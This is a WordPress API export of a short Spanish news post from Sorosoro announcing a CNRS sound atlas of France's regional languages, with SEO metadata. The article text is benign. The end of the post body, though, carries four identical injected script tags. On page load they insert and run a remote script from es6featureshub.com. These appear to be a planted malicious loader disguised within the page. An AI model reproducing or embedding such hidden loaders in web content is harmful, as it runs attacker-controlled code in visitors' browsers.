{"id":70928,"date":"2017-06-20T14:13:51","date_gmt":"2017-06-20T12:13:51","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=70928\/"},"modified":"2025-10-21T21:51:16","modified_gmt":"2025-10-21T19:51:16","slug":"20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/","title":{"rendered":"20 de junio de 2017: investigadores del CNRS publican en internet un atlas sonoro de las lenguas regionales de Francia."},"content":{"rendered":"<p><a href=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/FRANCE.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-70901 alignleft\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/FRANCE-300x247.jpg\" alt=\"\" width=\"312\" height=\"257\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/FRANCE-300x247.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/FRANCE-768x633.jpg 768w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/FRANCE-1024x844.jpg 1024w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/FRANCE.jpg 1526w\" sizes=\"auto, (max-width: 312px) 100vw, 312px\" \/><\/a>\u00bfC\u00f3mo suena el vasco de Ciboure? \u00bfY el languedociano de Toulouse? \u00bfY el picardode Amiens? \u00bfY el bret\u00f3n de Quimper? A menudo o\u00edmos hablar de <strong>las lenguas regionales de Francia<\/strong>, pero muy pocas veces tenemos la oportunidad de escucharlas.<\/p>\n<p>Recientemente tres investigadores del CNRS han solucionado este problema creando un <strong>Atlas sonoro de las lenguas regionales de Francia<\/strong>, <a href=\"https:\/\/atlas.limsi.fr\/\">disponible en l\u00ednea<\/a>. Gracias al trabajo de Fr\u00e9deric Vernier, Philippe Boula de Mareu\u00efl y Albert Rillard del laboratorio LIMSI, a partir de ahora es posible escuchar alguna de las <strong>126 versiones<\/strong> de una misma f\u00e1bula de Esopo, \u201cel viento y el sol\u201d, en la mayor\u00eda de las lenguas regionales de Francia y sus diferentes variantes.<\/p>\n<p>Adem\u00e1s de los extractos sonoros, disponibles al clicar sobre las diferentes localidades que muestra el mapa, al final de la p\u00e1gina tambi\u00e9n podemos acceder a su <strong>transcripci\u00f3n<\/strong>.<br \/>\nSi eres hablante de una de estas lenguas, puedes hacer comentarios sobre las grabaciones, las transcripciones o incluso contribuir contactando con el laboratorio LIMSI.<\/p>\n<p><strong><a href=\"https:\/\/atlas.limsi.fr\/\">Accede aqu\u00ed<\/a><\/strong> al atlas sonoro. \u00a1Buena audici\u00f3n!<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00bfC\u00f3mo suena el vasco de Ciboure? \u00bfY el languedociano de Toulouse? \u00bfY el picardode Amiens? \u00bfY el bret\u00f3n de Quimper? A menudo o\u00edmos hablar de las lenguas regionales de Francia, pero muy pocas veces tenemos la oportunidad de escucharlas. Recientemente tres investigadores del CNRS han solucionado este problema creando un Atlas sonoro de las lenguas [&hellip;]<\/p>\n","protected":false},"author":23,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-70928","post","type-post","status-publish","format-standard","hentry","category-noticias"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>20 de junio de 2017: investigadores del CNRS publican en internet un atlas sonoro de las lenguas regionales de Francia. - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"20 de junio de 2017: investigadores del CNRS publican en internet un atlas sonoro de las lenguas regionales de Francia. - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"\u00bfC\u00f3mo suena el vasco de Ciboure? \u00bfY el languedociano de Toulouse? \u00bfY el picardode Amiens? \u00bfY el bret\u00f3n de Quimper? A menudo o\u00edmos hablar de las lenguas regionales de Francia, pero muy pocas veces tenemos la oportunidad de escucharlas. Recientemente tres investigadores del CNRS han solucionado este problema creando un Atlas sonoro de las lenguas [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2017-06-20T12:13:51+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T19:51:16+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/FRANCE-300x247.jpg\" \/>\n<meta name=\"author\" content=\"Simon Couturier\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Simon Couturier\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minuto\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/\"},\"author\":{\"name\":\"Simon Couturier\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3\"},\"headline\":\"20 de junio de 2017: investigadores del CNRS publican en internet un atlas sonoro de las lenguas regionales de Francia.\",\"datePublished\":\"2017-06-20T12:13:51+00:00\",\"dateModified\":\"2025-10-21T19:51:16+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/\"},\"wordCount\":201,\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/FRANCE-300x247.jpg\",\"articleSection\":[\"Noticias sobre los idiomas en peligro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/\",\"name\":\"20 de junio de 2017: investigadores del CNRS publican en internet un atlas sonoro de las lenguas regionales de Francia. - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/FRANCE-300x247.jpg\",\"datePublished\":\"2017-06-20T12:13:51+00:00\",\"dateModified\":\"2025-10-21T19:51:16+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/#primaryimage\",\"url\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/FRANCE-300x247.jpg\",\"contentUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/FRANCE-300x247.jpg\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"20 de junio de 2017: investigadores del CNRS publican en internet un atlas sonoro de las lenguas regionales de Francia.\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3\",\"name\":\"Simon Couturier\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/simon-couturier\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"20 de junio de 2017: investigadores del CNRS publican en internet un atlas sonoro de las lenguas regionales de Francia. - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/","og_locale":"es_ES","og_type":"article","og_title":"20 de junio de 2017: investigadores del CNRS publican en internet un atlas sonoro de las lenguas regionales de Francia. - Sorosoro","og_description":"\u00bfC\u00f3mo suena el vasco de Ciboure? \u00bfY el languedociano de Toulouse? \u00bfY el picardode Amiens? \u00bfY el bret\u00f3n de Quimper? A menudo o\u00edmos hablar de las lenguas regionales de Francia, pero muy pocas veces tenemos la oportunidad de escucharlas. Recientemente tres investigadores del CNRS han solucionado este problema creando un Atlas sonoro de las lenguas [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/","og_site_name":"Sorosoro","article_published_time":"2017-06-20T12:13:51+00:00","article_modified_time":"2025-10-21T19:51:16+00:00","og_image":[{"url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/FRANCE-300x247.jpg","type":"","width":"","height":""}],"author":"Simon Couturier","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Simon Couturier","Tiempo de lectura":"1 minuto"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/"},"author":{"name":"Simon Couturier","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3"},"headline":"20 de junio de 2017: investigadores del CNRS publican en internet un atlas sonoro de las lenguas regionales de Francia.","datePublished":"2017-06-20T12:13:51+00:00","dateModified":"2025-10-21T19:51:16+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/"},"wordCount":201,"image":{"@id":"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/FRANCE-300x247.jpg","articleSection":["Noticias sobre los idiomas en peligro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/","url":"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/","name":"20 de junio de 2017: investigadores del CNRS publican en internet un atlas sonoro de las lenguas regionales de Francia. - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/#primaryimage"},"image":{"@id":"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/FRANCE-300x247.jpg","datePublished":"2017-06-20T12:13:51+00:00","dateModified":"2025-10-21T19:51:16+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/#primaryimage","url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/FRANCE-300x247.jpg","contentUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/FRANCE-300x247.jpg"},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2017\/06\/20-de-junio-de-2017-investigadores-del-cnrs-publican-en-internet-un-atlas-sonoro-de-las-lenguas-regionales-de-francia\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"20 de junio de 2017: investigadores del CNRS publican en internet un atlas sonoro de las lenguas regionales de Francia."}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3","name":"Simon Couturier","url":"https:\/\/www.sorosoro.org\/es\/author\/simon-couturier\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/70928","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/23"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=70928"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/70928\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=70928"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=70928"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=70928"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}